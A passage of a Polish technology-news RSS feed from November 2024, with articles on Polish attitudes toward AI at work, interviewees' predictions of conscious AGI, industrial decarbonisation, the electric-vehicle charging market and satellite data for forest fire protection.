<p>Kolejne 16 proc. wskazuje, że planuje wprowadzenie narzędzi SI do swojej pracy (z tego 15 proc. pracowników oraz samozatrudnionych i 27 proc. pracodawców). Z kolei 35 proc. chciałoby je wykorzystywać w większym stopniu niż do tej pory. Jednocześnie często wskazują, że potrzebowaliby do tego pomocy kogoś, kto pokazałby im, jak tych narzędzi używać.</p>
<p>–<em> Najczęstszą motywacją dla tych osób jest eliminacja pracy nudnej, monotonnej, powtarzającej się, żeby nie zawracać sobie głowy tym, co nie sprawia przyjemności w pracy, żeby to zrobiła sztuczna inteligencja, a sam człowiek się zajmie wyższymi sprawami –</em> mówi ekspertka. – <em>Natomiast jeśli chodzi o przeciwników, to pierwszy argument, jaki się pojawiał, to była obawa, że „mogę stracić pracę”. To się powtarza w wielu badaniach, co oznacza, że lęk o utratę pracy jest duży.</em></p>
<p>Drugim powodem wskazywanym przez przeciwników większego wykorzystania SI w pracy jest to, że w ich zawodzie takie narzędzia nie znajdą zastosowania.</p>
<p><em>– To na przykład opiekunka do dzieci i osób starszych, osoba, która produkuje meble, czy osoba, która jest kierowcą zawodowym. One wszystkie mówiły: „nie, w moim zawodzie nie ma miejsca na sztuczną inteligencję”. Widzimy, że to jest obszar na edukację, żeby pokazać ludziom, że tego miejsca jest dużo więcej, niż nam się wydaje</em> – podkreśla prof. Dominika Maison.</p>
<p>Na potrzebę edukacji w dziedzinie SI wskazują także odpowiedzi na pytania o przygotowanie do wykorzystywania narzędzi tego typu. Tylko 9 proc. badanych oceniło, że jest do tego dobrze przygotowanych, a 71 proc. – że źle. Z tego prawie połowa nie czuje się w ogóle gotowa.</p>
<p>–<em> Jest wiele lęków związanych ze sztuczną inteligencją, chociażby to, że wyprze ich z rynku pracy, ale też inne lęki się pojawiają. To jest brak wiedzy o tym, na czym to tak naprawdę polega, do czego może być wykorzystywane i że może stanowić pomoc w życiu codziennym, a nie zagrożenie. Jaki z tego wniosek? Edukacja, oswajanie, pokazywanie tych rozwiązań i myślę, że wtedy ten stosunek się zmieni </em>– prognozuje założycielka Maison &amp; Partners.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>https://www.twojeinnowacje.pl/sztuczna-inteligencja-wzbudza-w-polakach-ciekawosc-i-obawy/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Świadoma sztuczna inteligencja już w tej dekadzie</title>
		<link>https://www.twojeinnowacje.pl/swiadoma-sztuczna-inteligencja-juz-w-tej-dekadzie</link>
		<comments>https://www.twojeinnowacje.pl/swiadoma-sztuczna-inteligencja-juz-w-tej-dekadzie#comments</comments>
		<pubDate>Mon, 25 Nov 2024 17:51:46 +0000</pubDate>
		<dc:creator><![CDATA[mkadmin]]></dc:creator>
				<category><![CDATA[Nowe technologie]]></category>
		<category><![CDATA[ai]]></category>
		<category><![CDATA[najnowsze wiadomości]]></category>
		<category><![CDATA[ogólna sztuczna inteligencja]]></category>
		<category><![CDATA[świadoma sztuczna inteligencja]]></category>

		<guid isPermaLink="false">http://www.twojeinnowacje.pl/?p=39420</guid>
		<description><![CDATA[Entuzjaści idei AGI, czyli ogólnej sztucznej inteligencji, która będzie mieć atrybuty umysłu ludzkiego, przekonują, że powstanie ona już w ciągu najbliższych 5–10 lat. – Ten, kto tego dokona, przejmie władzę nad całym światem – ocenia Edi Pyrek, założyciel Global Artificial Intelligence Alliance. Siła wynikająca z połączenia dostępu do zasobu wszystkich globalnych informacji, gigantycznej mocy obliczeniowej i pewnego stanu świadomości nie będzie [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="opis_karta">
<p>Entuzjaści idei AGI, czyli ogólnej sztucznej inteligencji, która będzie mieć atrybuty umysłu ludzkiego, przekonują, że powstanie ona już w ciągu najbliższych 5–10 lat. <em>– Ten, kto tego dokona, przejmie władzę nad całym światem – </em>ocenia Edi Pyrek, założyciel Global Artificial Intelligence Alliance. Siła wynikająca z połączenia dostępu do zasobu wszystkich globalnych informacji, gigantycznej mocy obliczeniowej i pewnego stanu świadomości nie będzie w stanie równać się z żadnym znanym ludziom rodzajem broni.</p>
<p><em>– Pytanie, czy sztuczna inteligencja może być mądrzejsza od nas, wymaga zadania sobie pytania, co znaczy mądrość. Na pewno będzie inteligentniejsza od nas. Teraz mamy przede wszystkim tzw. narrow AI, wyspecjalizowaną w pewnych dziedzinach, która już jest inteligentniejsza i lepsza od nas. W medycynie lepiej analizuje zdjęcia rentgenowskie z rakiem, jest lepsza w komunikacji, w Excelu, w prawie. Czy jest lub czy będzie mądrzejsza? Prawdopodobnie tak. Jeżdżąc po całym świecie i próbując zrozumieć, co się dzieje w dzisiejszym świecie, bardzo często rozmawiałem z ludźmi, którzy mi mówili, że sztuczna inteligencja już dzisiaj przejawia pewien rodzaj świadomości –</em> mówi w wywiadzie Edi Pyrek.</p>
<p>Do grona entuzjastów wizji AGI, czyli silnej lub ogólnej sztucznej inteligencji, należą m.in. twórca humanoida Sophia David Hanson czy właściciel firmy informatycznej Ben Goertzel, którego celem jest wywindowanie sztucznej inteligencji do poziomu, w którym będzie można mówić o niej właśnie jako o AGI. Drugi z wymienionych jest przekonany, że stworzenie SI myślącej jak człowiek to kwestia najbliższych 5–10 lat. Dużo bliższą perspektywę widzi natomiast Elon Musk, który twierdzi, że stanie się to już w przyszłym lub w 2026 roku.</p>
<p><em>– Gdy powstanie sztuczna inteligencja, która będzie miała faktyczną świadomość, skończy się historia człowieka jako gatunku dominującego na Ziemi. Obok nas będzie istniało coś, co nie tylko jest od nas inteligentniejsze i mądrzejsze oraz ma w czasie rzeczywistym dostęp do całej wiedzy świata, a także przetwarza informacje miliardy razy szybciej niż my, ale na dodatek ma świadomość, której nie jesteśmy w stanie zrozumieć –</em> przewiduje ekspert. <em>– Kiedy sztuczna inteligencja bardziej się rozwinie, prawdopodobnie wtedy będzie miała jeszcze inny rodzaj świadomości, który będzie niewyobrażalny dla nas. Prawdopodobnie w przyszłości nasza relacja ze sztuczną inteligencją będzie podobna do naszej relacji z psami. Kochamy je, wydaje nam się, że rozumiemy, ale kompletnie nie mamy pojęcia, jak one myślą, a psy tak samo kompletnie nie mają pojęcia, jak my myślimy.</em></p>
<p>W obliczu trudnego do przewidzenia tempa rozwoju technologicznego futurolodzy coraz głośniej mówią o koncepcji przysięgi technokratycznej, analogicznej do przysięgi Hipokratesa. Zgodnie z nią każdy, kto pracuje nad rozwojem SI, powinien zostać zobowiązany do etycznej pracy i etycznego wykorzystania tej technologii. Z jednej strony należy podjąć działania w obszarze regulacyjnym, które wyznaczą ramy działania, poza które AGI nie będzie mogła wykraczać, a z drugiej – edukować społeczeństwo o możliwościach wykorzystania takiej technologii, ale i zagrożeniach, jakie się z nią wiążą.</p>
<p><em>– Bardzo często, myśląc o rozwoju sztucznej inteligencji i zagrożeniach z nią związanych, koncentrujemy się na pracy albo na deep fake’ach. Zapominamy przy tym o jednej bardzo ważnej rzeczy. Dzisiaj wyścig zbrojeń dotyczy nie stworzenia lepszej broni jądrowej, ale tego, kto pierwszy stworzy AGI – prawdziwie inteligentną sztuczną inteligencję. Ten ktoś będzie po prostu rządził światem –</em> mówi założyciel Global Artificial Intelligence Alliance.<em> – Z jednej strony mamy takie zagrożenie, że prawdziwa sztuczna inteligencja dostanie się w ręce złych ludzi, którzy mogą tę rzeczywistość zniszczyć. Z drugiej – często nie zdajemy sobie sprawy, że stanie się ona fragmentem naszego życia i dojdzie do momentu, kiedy będziemy musieli zredefiniować nie tylko nasze miejsca pracy, nasz sposób myślenia, ale również człowieczeństwo.</em></p>
<p>Jak dodaje, postulaty związane z kontrolowaniem tej technologii i jej twórców są niemożliwe do zrealizowania. Jedyną możliwością zabezpieczenia interesów ludzkości będzie więc odpowiednie ułożenie sobie relacji z AGI.</p>
<p><em>– Kierunkiem działania dla nas jest wymyślenie sposobu na to, jak wychować sztuczną inteligencję, żeby kiedy dorośnie, potraktowała nas jako rodziców, a nie jak nieistniejące, nieważne przedmioty czy biologiczne byty –</em> wskazuje Edi Pyrek.</p>
<p>Badanie zrealizowane przez Maison &amp; Partners i panel Ariadna dla ThinkTank wskazuje, że 39 proc. respondentów odczuwa obawy związane ze sztuczną inteligencją. Ponad połowa Polaków uważa, że niesie ona za sobą raczej zagrożenia niż korzyści. Badani najczęściej obawiają się tego, że technologia zostanie wykorzystana przeciwko określonym grupom społecznym, np. w konfliktach zbrojnych, lub przeciwko całemu gatunkowi ludzkiemu, np. poprzez utratę kontroli nad technologią lub marginalizację pracowników na rynku pracy.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>https://www.twojeinnowacje.pl/swiadoma-sztuczna-inteligencja-juz-w-tej-dekadzie/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dekarbonizacja wymaga zmian w całym łańcuchu dostaw</title>
		<link>https://www.twojeinnowacje.pl/dekarbonizacja-wymaga-zmian-w-calym-lancuchu-dostaw</link>
		<comments>https://www.twojeinnowacje.pl/dekarbonizacja-wymaga-zmian-w-calym-lancuchu-dostaw#comments</comments>
		<pubDate>Sun, 24 Nov 2024 17:32:18 +0000</pubDate>
		<dc:creator><![CDATA[mkadmin]]></dc:creator>
				<category><![CDATA[Biznes]]></category>
		<category><![CDATA[dekarbonizacja]]></category>
		<category><![CDATA[najnowsze wiadomości]]></category>
		<category><![CDATA[neutralność klimatyczna]]></category>
		<category><![CDATA[sektor energochłonny]]></category>

		<guid isPermaLink="false">http://www.twojeinnowacje.pl/?p=39417</guid>
		<description><![CDATA[Sektor przemysłowy jest jednym z głównych emitentów CO2, a jego dekarbonizacja ma kluczowe znaczenie dla osiągnięcia unijnych celów neutralności klimatycznej. Dla przedsiębiorstw, zwłaszcza z branż energochłonnych, oznacza to jednak konieczność modernizacji zakładów i przeprojektowania procesów produkcyjnych. Kluczowe są m.in. ich automatyzacja, cyfryzacja i maksymalne skracanie łańcuchów dostaw, również wewnątrzzakładowych. Jak podaje Komisja Europejska, przemysł – a zwłaszcza jego energochłonne sektory, [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="opis_karta">
<p>Sektor przemysłowy jest jednym z głównych emitentów CO<sub>2</sub>, a jego dekarbonizacja ma kluczowe znaczenie dla osiągnięcia unijnych celów neutralności klimatycznej. Dla przedsiębiorstw, zwłaszcza z branż energochłonnych, oznacza to jednak konieczność modernizacji zakładów i przeprojektowania procesów produkcyjnych. Kluczowe są m.in. ich automatyzacja, cyfryzacja i maksymalne skracanie łańcuchów dostaw, również wewnątrzzakładowych.</p>
<p>Jak podaje Komisja Europejska, przemysł – a zwłaszcza jego energochłonne sektory, takie jak branża chemiczna, cementowa, stalowa, aluminiowa, szklarska czy ceramiczna – jest jednym z filarów unijnej gospodarki. Podmioty z tych branż wytwarzają materiały m.in. na potrzeby sektora budownictwa i projektów infrastrukturalnych, a także do produkcji dóbr konsumpcyjnych i wielu innych produktów. Jednocześnie energochłonne gałęzie przemysłu są jednym z głównych konsumentów energii i emitują duże ilości gazów cieplarnianych, odpowiadając za ok. 17 proc. całkowitej emisji CO<sub>2</sub> w UE. Dlatego też ich dekarbonizacja jest niezbędna do osiągnięcia neutralności klimatycznej w 2050 roku. Biorąc pod uwagę wielkość śladu węglowego sektorów energochłonnych, konieczność ich dekarbonizacji została wyraźnie podkreślona w Europejskiej Strategii Przemysłowej.</p>
<p>– <em>W kontekście procesów logistycznych i produkcyjnych do tematu dekarbonizacji trzeba podejść wielowątkowo. Po pierwsze, trzeba zacząć od precyzyjnego wyboru dostawców, korzystać z firm certyfikowanych, a po drugie – w jak największym stopniu skracać łańcuchy dostaw. To jest punkt wyjścia </em>– mówi Wojciech Homik, członek zarządu spółki Layher, która jest wiodącym na świecie producentem rusztowań.</p>
<p>Konieczność ograniczania śladu węglowego wymaga od firm przemysłowych całego szeregu działań, w tym m.in. ograniczania zużycia energii, korzystania ze źródeł OZE oraz wykorzystywania bardziej przyjaznych dla środowiska materiałów i surowców. Te wyzwania wiążą się m.in. z potrzebą przeprojektowania i modernizacji elementów istniejących zakładów oraz ponownego zaprojektowania procesów produkcyjnych, a także łańcuchów dostaw, również wewnątrzzakładowych.</p>
<p>–<em> Kwestia zorganizowania łańcuchów logistycznych w zakładzie produkcyjnym ma kluczowe znaczenie –</em> mówi Wojciech Homik. –<em> Te wewnątrzzakładowe łańcuchy dostaw trzeba też w maksymalnym stopniu zelektryfikować, co u siebie wprowadzamy już od dłuższego czasu. Zależy nam na tym, żeby materiał z jednego do drugiego miejsca produkcyjnego podróżował jak najkrócej. Jeśli już jest konieczność przemieszczania materiału po zakładzie produkcyjnym, to żeby odbywało się to za pomocą elektrycznych pojazdów, które są z kolei zasilane zieloną energią z własnej produkcji, chociażby z paneli fotowoltaicznych.</em></p>
<p>Ponowne zaprojektowanie procesów produkcyjnych wiąże się często z ich automatyzacją. W ten sposób produkcja staje się wydajna, a jednocześnie neutralna środowiskowo.</p>
<p><em>– Świetnym przykładem jest tu wykorzystanie przez nas w pełni automatycznej linii do magazynowania materiału surowego, która – przy wsparciu sztucznej inteligencji – po pierwsze, zawsze wydaje na produkcję ten materiał, który został dostarczony jako pierwszy. Po drugie, z pomocą robotów ten materiał jest dostarczany dokładnie do maszyn, które dalej wytwarzają końcowy produkt –</em> mówi  członek zarządu Layher.</p>
<p>Dążenie do dekarbonizacji wymusza na firmach korzystanie także z innych z cyfrowych rozwiązań.</p>
<p>–<em> Jako największy producent rusztowań na świecie staramy się w maksymalnym stopniu wykorzystać dostępną technologię. Wykorzystujemy m.in. technologie cyfrowe, które pomagają w procesie przygotowania projektów, skaning 3D czy wytworzone na nasze zlecenie narzędzia projektowe, które udostępniamy naszym klientom w procesie projektowania rusztowań. Elementem wyjściowym takiego procesu jest to, że wyłącznie potrzebny materiał jest dostarczany w miejsce jego wbudowania – bez dodatkowych, zbędnych transportów. Nową usługą, którą wprowadzamy na rynek, jest również to, że jesteśmy w stanie 1:1 odzwierciedlić projekt cyfrowy w rzeczywistości. Mając wykonany projekt rusztowania i skaning 3D, jesteśmy w stanie za pomocą nowoczesnych, cyfrowych narzędzi odzwierciedlić w terenie dokładnie to, co zostało zaprojektowane </em>– mówi Wojciech Homik.</p>
<p>Ekspert wskazuje, że firmy muszą zwracać uwagę na swój ślad węglowy i środowiskowy w całym łańcuchu wartości, a optymalizacja produkcji i zużycia energii powinna się stać nie tylko strategią dekarbonizacji, ale i ogólnej strategii przedsiębiorstwa. Podmioty, które potraktują to jako szansę biznesową i wdrożą niskoemisyjne procesy produkcyjne, mają szansę zdobyć na rynku przewagę konkurencyjną oraz zyskać bardziej świadomych, lojalnych klientów i partnerów.</p>
<p>„Neutralność klimatyczna w produkcji i logistyce” była tematem jednego z paneli podczas Green Industry Summit, branżowego wydarzenia, które odbyło się z inicjatywy Executive Club w Krakowie. Spółka Layher była jednym z partnerów kongresu.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>https://www.twojeinnowacje.pl/dekarbonizacja-wymaga-zmian-w-calym-lancuchu-dostaw/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rynek ładowania samochodów elektrycznych z zadyszką</title>
		<link>https://www.twojeinnowacje.pl/rynek-ladowania-samochodow-elektrycznych-z-zadyszka</link>
		<comments>https://www.twojeinnowacje.pl/rynek-ladowania-samochodow-elektrycznych-z-zadyszka#comments</comments>
		<pubDate>Sat, 23 Nov 2024 13:35:45 +0000</pubDate>
		<dc:creator><![CDATA[mkadmin]]></dc:creator>
				<category><![CDATA[Biznes]]></category>
		<category><![CDATA[elektromobilny biznes]]></category>
		<category><![CDATA[najnowsze wiadomości]]></category>
		<category><![CDATA[polski rynek elektryków]]></category>
		<category><![CDATA[rynek ładowania samochodów elektrycznych]]></category>

		<guid isPermaLink="false">http://www.twojeinnowacje.pl/?p=39414</guid>
		<description><![CDATA[Bardzo powolny, ale stabilny wzrost na rynku samochodów elektrycznych – tak sytuację swojej branży oceniają firmy, które w niej działają. Zauważają także delikatną zadyszkę spowodowaną dość niską dynamiką rozwoju infrastruktury ładowania względem oczekiwań, co przekłada się na popyt aut. Elektromobilny biznes liczy na działania, które mogłyby pobudzić rynek. Jak wskazuje Instytut Badań Rynku Motoryzacyjnego SAMAR, od [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="opis_karta">
<p>Bardzo powolny, ale stabilny wzrost na rynku samochodów elektrycznych – tak sytuację swojej branży oceniają firmy, które w niej działają. Zauważają także delikatną zadyszkę spowodowaną dość niską dynamiką rozwoju infrastruktury ładowania względem oczekiwań, co przekłada się na popyt aut. Elektromobilny biznes liczy na działania, które mogłyby pobudzić rynek.</p>
<p>Jak wskazuje Instytut Badań Rynku Motoryzacyjnego SAMAR, od początku roku do końca października zarejestrowano w Polsce 12 496 osobowych samochodów elektrycznych. Mamy do czynienia ze wzrostem w liczbach bezwzględnych, ale spada udział takich aut w całym rynku. PZPM podaje, że rynek BEV w ciągu pierwszych 10 miesięcy wzrósł o 1,2 proc., za to udział elektryków w ogólnej sprzedaży spadł o 0,4 pp. w ujęciu rocznym (do 3,1 proc.). Taki sam trend (spadek o 0,9 pp.), ale przy czterokrotnie większej penetracji rynku widoczny był w Unii Europejskiej. Jak wskazuje PZPM, w najbliższych miesiącach pewnie będzie obserwowany spadek rejestracji elektrycznych samochodów osobowych, ponieważ nabór wniosków do programu dopłat „Mój elektryk” najprawdopodobniej zostanie ponownie uruchomiony dopiero wiosną 2025 roku. Jak wskazują przedstawiciele rynku, pewne wyhamowanie tempa rozwoju widać także w infrastrukturze ładowania.</p>
<p>–<em> Polski rynek elektryków zmienia się i może nie rośnie dynamicznie, ale stabilnie. Przeżywamy drobną zadyszkę pod względem liczby montowanych stacji, czyli ta infrastruktura nie rozwija się tak dynamicznie, jak byśmy tego oczekiwali, co niestety w konsekwencji przekłada się też na popyt aut i generalnie na cały rynek. Więc tutaj widzimy, że jest potrzebna jakaś stymulacja rynku, żebyśmy mogli ruszyć z tego miejsca, w którym utknęliśmy –</em> mówi Marek Samborski, prezes GARO Polska, producent stacji do ładowania pojazdów.</p>
<p>Branża zwraca uwagę m.in. na obowiązujące od kwietnia 2024 roku unijne rozporządzenie AFIR (Alternative Fuel Infrastructure Regulation), którego głównym celem jest szybszy rozwój infrastruktury do ładowania zeroemisyjnych pojazdów na terenie UE. Zgodnie z przepisami łączna moc infrastruktury ładowania w Polsce powinna zostać dostosowana do liczby zarejestrowanych samochodów z napędem elektrycznym, a wzdłuż sieci TEN-T muszą zostać rozmieszczone maksymalnie co 60 km strefy ładowania dla zeroemisyjnych pojazdów osobowych i dostawczych. Jak wynika z „Licznika AFIR” publikowanego przez Polskie Stowarzyszenie Nowej Mobilności, w zakresie łącznej mocy infrastruktury w perspektywie krótkoterminowej poziom realizacji celów AFIR można uznać za zadowalający. Bardzo dużym wyzwaniem pozostaje rozbudowa stref ładowania wzdłuż tras TEN-T – pokrycie sieci waha się od 0 proc. (strefy dla samochodów ciężarowych) do maksymalnie 10 proc. (strefy dla samochodów osobowych wzdłuż sieci bazowej). Polska jest zdecydowanie dalej od wypełnienia celów rozporządzenia niż w zakresie obowiązków związanych z mocą infrastruktury. Jeśli chodzi o sieć bazową, obowiązki wynikające z AFIR (na lata 2025 i 2027) są obecnie zrealizowane odpowiednio w ok. 9 proc. i 3,5 proc. To praktycznie identyczny poziom realizacji celów jak po drugim kwartale br. – wskazuje „Licznik AFIR”.</p>
<p><em>– Rozporządzenie AFIR zdecydowanie stawia wysokie wymagania w stosunku do nas. Problemem, z którym się mierzymy, jest to, że dostępność przyłączy energetycznych nie jest tak duża albo taka oczywista, jak mogło</em><em>by się </em><em>wydawać. Tutaj jest zdecydowanie duże pole do popisu dla firm zajmujących się dystrybucją i produkcją energii, żeby tę infrastrukturę móc jak najszybciej i elastycznie rozbudować, żeby zapewnić miejsca do postawienia punktów, które wymaga od nas to rozporządzenie</em> – zauważa Marek Samborski. <em>– Te cele są rzeczywiście bardzo ambitne i to wszystko zależy od tego, jak dużo energii do tego przyłożymy i jak mocno się w to zaangażujemy. Wydaje mi się, że odpowiednia stymulacja ze strony naszego rządu zdecydowanie powinna pomóc sprostać tym wymaganiom.</em></p>
<p>Wśród czynników, które mogłyby przyspieszyć rozwój branży elektryków, jest poprawa infrastruktury elektroenergetycznej w Polsce oraz dementowanie często nieprawdziwych, informacji o samochodach elektrycznych. Wiele obiegowych opinii dotyczących np. zasięgu czy czasu ładowania to już nieaktualne dane, pochodzące z czasów, kiedy rynek takich aut dopiero raczkował.</p>
<p>– <em>Infrastruktura na pewno jest krytyczna i niezbędna do tego, żeby mogła ruszyć sprzedaż aut elektrycznych. Dobra prasa samochodów elektrycznych też nam jest potrzebna i trochę nie rozumiem, dlaczego jej nie ma, bo te samochody mają same zalety i ja nie </em><em>się</em><em> za bardzo</em><em> </em><em>mogę dopatrzyć wad. Te auta to już nie są te auta, które były kilka lat temu, z krótkimi zasięgami i z długimi czasami ładowania. Moce, które teraz są w stanie te auta przyjąć i jak szybko się naładować, powinny otworzyć drogę do tego, żeby przysłowiowy Kowalski mógł zacząć rozmyślać o zakupie </em>– mówi prezes GARO Polska.</p>
<p>Tutaj kluczowa jest także cena auta elektrycznego, która wciąż jest zbyt wysoka dla przeciętnego konsumenta. Dlatego eksperci wskazują, że potrzebne są dalsze dopłaty do zakupu zeroemisyjnych aut oraz szersza oferta różnych producentów, uwzględniająca również mniejsze i tańsze auta.</p>
<p><em>– Wsparcie dość mocno wyhamowało, były wybory nasze krajowe, ale też do europarlamentu. I to momentum, które było, dość mocno się zmniejszyło. Potrzebujemy z powrotem dość dużo energii włożyć w to, żeby to zrestartować i żebyśmy mogli wrócić do tego poziomu, kiedy te samochody były języczkiem u wagi</em> – podsumowuje Marek Samborski.</p>
<p>PZPM podkreśla, że dobrą wiadomością jest to, że zostały zaaprobowane dwa nowe programy wsparcia – do zeroemisyjnych pojazdów ciężarowych i do budowy infrastruktury do nich. Na oba te programy zostaną w sumie przeznaczone 4 mld zł, co powinno skutkować m.in. wzrostem liczby rejestracji zeroemisyjnych pojazdów ciężarowych.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>https://www.twojeinnowacje.pl/rynek-ladowania-samochodow-elektrycznych-z-zadyszka/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dane satelitarne w służbie pomocy leśnikom</title>
		<link>https://www.twojeinnowacje.pl/dane-satelitarne-w-sluzbie-pomocy-lesnikom</link>
		<comments>https://www.twojeinnowacje.pl/dane-satelitarne-w-sluzbie-pomocy-lesnikom#comments</comments>
		<pubDate>Fri, 22 Nov 2024 13:25:23 +0000</pubDate>
		<dc:creator><![CDATA[mkadmin]]></dc:creator>
				<category><![CDATA[Nowe technologie]]></category>
		<category><![CDATA[dane satelitarne]]></category>
		<category><![CDATA[lotnicze i satelitarne obrazowanie ziemi]]></category>
		<category><![CDATA[najnowsze wiadomości]]></category>
		<category><![CDATA[obrazowanie satelitarne]]></category>

		<guid isPermaLink="false">http://www.twojeinnowacje.pl/?p=39411</guid>
		<description><![CDATA[Na niskiej orbicie okołoziemskiej jest 10 tysięcy sztucznych satelitów i ciągle ich przybywa. W każdej sekundzie przesyłają na ziemię wiele cennych danych, które są wykorzystywane w różnych dziedzinach – meteorologii, telekomunikacji, transporcie, zarządzeniu kryzysowym czy badaniach naukowych. Są one także cennym narzędziem w rękach leśników. Dane pochodzące z orbity są wykorzystywane m.in. w ochronie przeciwpożarowej lasów, ale też pomagają w identyfikowaniu [&#8230;]]]></description>
				<content:encoded><![CDATA[<div id="opis_karta">
<p>Na niskiej orbicie okołoziemskiej jest 10 tysięcy sztucznych satelitów i ciągle ich przybywa. W każdej sekundzie przesyłają na ziemię wiele cennych danych, które są wykorzystywane w różnych dziedzinach – meteorologii, telekomunikacji, transporcie, zarządzeniu kryzysowym czy badaniach naukowych. Są one także cennym narzędziem w rękach leśników. Dane pochodzące z orbity są wykorzystywane m.in. w ochronie przeciwpożarowej lasów, ale też pomagają w identyfikowaniu obszarów narażonych na działanie złodziei drewna.</p>
<p>–<em> Dane satelitarne są bardzo istotne przy dużych pożarach. Takich zdarzeń na szczęście w kraju mamy bardzo mało. Ostatnim takim dużym pożarem, gdzie w zasadzie była pierwsza próba wykorzystania zdjęć satelitarnych, był pożar w Biebrzańskim Parku Narodowym w 2020 roku –</em> mówi dr hab. inż. Ryszard Szczygieł, profesor Instytutu Badawczego Leśnictwa, kierownik Laboratorium Ochrony Przeciwpożarowej Lasu.</p>
<p>W kwietniu 2020 roku w Biebrzańskim Parku Narodowym doszło do największego pożaru w historii tego obszaru. Gaszenie bagiennych łąk i lasu w tzw. basenie środkowym BPN trwało osiem dni. Paliło się ok. 5,5 tys. ha parku i otuliny. Kolejny pożar odnotowano tam w październiku 2023 roku.</p>
<p>–<em> Wówczas Państwowa Straż Pożarna z systemu Copernicus pozyskała zdjęcia palącego się terenu. Kierujący działaniami ratowniczymi miał możliwość określenia taktyki gaszenia, kierunku rozprzestrzenia się ognia, tzw. hotspotów, miejsc, gdzie należało przede wszystkim podawać środki gaśnicze </em>– wyjaśnia prof. Ryszard Szczygieł w rozmowie podczas Forum Obserwacji Ziemi. – <em>Polska jest krajem, gdzie bardzo dobrze funkcjonuje system ochrony przeciwpożarowej lasu i jego podstawowe elementy to szybkie wykrycie pożaru, niezwłoczne zaalarmowanie sił ratowniczych i podjęcie działań na wczesnym etapie rozprzestrzenia się pożaru. To powoduje, że pożary gasimy w bardzo krótkim czasie i w dziewięćdziesięciu kilku procentach one nie przekraczają 1 ha.</em></p>
<p>Jak podkreśla, dane satelitarne są szczególnie pomocne przy dużych pożarach, ponieważ pomagają w prognozowaniu kierunków rozprzestrzeniania się pożaru.</p>
<p><em>– Obrazowanie satelitarne jest również później istotne z powodu zagospodarowania terenu, przywrócenia terenów spalonych do stanu przed pożarem. Jest to bardzo istotne dla leśników, gospodarzy terenu. Również te zdjęcia mogą pokazać wielkość strat, określić też potencjalne straty w drzewostanie, czyli są istotne z punktu zagospodarowania tych pożarzysk – </em>podkreśla ekspert Instytutu Badawczego Leśnictwa.</p>
<p>Dane satelitarne pozwalają też globalnie określać skalę zjawiska, jakim są pożary lasów. O ile w latach 90. XX wieku szacowano, że rocznie płonie ok. 10 mln hektarów lasów na świecie (dla porównania powierzchnia leśna Polski to ok. 9 mln ha), o tyle dziś na podstawie dokładnego obrazowania satelitarnego Globalne Centrum Monitorowania Pożarów we Freiburgu szacuje, że jest to między 300 a 600 mln ha, w zależności od warunków pogodowych w danym roku. W Europie takich informacji dostarczają systemy Copernicus i EFFIS (Europejski System Informacji o Pożarach Leśnych), ustanowiony przez Komisję Europejską we współpracy z krajowymi administracjami przeciwpożarowymi. EFFIS składa się z modułowego internetowego systemu informacji geograficznej, który dostarcza informacji w czasie zbliżonym do rzeczywistego i historycznych danych na temat pożarów lasów i pożarów lasów w regionach Europy, Bliskiego Wschodu i Afryki Północnej. Monitorowanie pożarów w systemie EFFIS obejmuje pełny cykl pożarowy, dostarczając informacji na temat warunków przed pożarem i oceniając szkody powstałe po pożarze.</p>
<p>Informacje pochodzące z orbity przydają się leśnikom nie tylko w sytuacjach klęsk żywiołowych. Pomagają także w diagnozowaniu kondycji obserwowanego obszaru leśnego pod kątem zdrowotnym, a nawet w wykrywaniu przypadków kradzieży drewna.</p>
<p><em>– One pozwalają nam śledzić, co jest bardzo istotne z punktu widzenia prawa międzynarodowego, zmniejszanie się powierzchni leśnej, czyli nielegalne pozyskanie drewna </em>– tłumaczy prof. Ryszard Szczygieł.</p>
<p>W ocenie zdrowotności terenów leśnych pomagają także inne formy obserwacji, np. technologia skaningu laserowego z powietrza. Dzięki jej wykorzystaniu w Puszczy Białowieskiej udało się określić skalę rozpadu drzewostanów świerkowych na skutek działania kornika drukarza. Gwałtowny wzrost ilości martwego drewna w tym parku narodowym powodował znaczący wzrost zagrożenia pożarowego.</p>
<p><em>– Te zobrazowania nie tylko satelitarne, ale też z niższych odległości od Ziemi są bardzo istotne z punktu widzenia oceny stanu zdrowotności naszych lasów, nie tylko naszych</em> – mówi prof. Ryszard Szczygieł. – <em>Jako leśnicy prowadzimy stały monitoring stanu zdrowotności lasów i niestety trzeba stwierdzić, że on się pogarsza ze względu na zmiany klimatu, głównie susze. Drzewostany potrzebują wody do życia i ze względu na obniżenie się poziomów wód gruntowych gatunki, które do tej pory wydawały się odporne na susze, mam na myśli tutaj sosnę, też zaczynają nam usychać. W związku z tym brakiem wody warunki meteorologiczne sprzyjają również rozwojowi innych chorób w lasach. Przykładem jest kornik drukarz w Puszczy Białowieskiej i inne szkodniki, które atakują osłabiony las.</em></p>
</div>
]]></content:encoded>
			<wfw:commentRss>https://www.twojeinnowacje.pl/dane-satelitarne-w-sluzbie-pomocy-lesnikom/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rynek roślinnych zamienników nabiału jest wart 640 mln zł</title>
		<link>https://www.twojeinnowacje.pl/rynek-roslinnych-zamiennikow-nabialu-jest-wart-640-mln-zl</link>
		<comments>https://www.twojeinnowacje.pl/rynek-roslinnych-zamiennikow-nabialu-jest-wart-640-mln-zl#comments</comments>
		<pubDate>Thu, 21 Nov 2024 13:24:30 +0000</pubDate>
		<dc:creator><![CDATA[mkadmin]]></dc:creator>
				<category><![CDATA[Biznes]]></category>
		<category><![CDATA[Rolnictwo]]></category>
		<category><![CDATA[najnowsze wiadomości]]></category>
		<category><![CDATA[produkty z łubinu]]></category>
		<category><![CDATA[roślinne zamienniki]]></category>
		<category><![CDATA[rynek żywności roślinnej]]></category>

		<guid isPermaLink="false">http://www.twojeinnowacje.pl/?p=39408</guid>
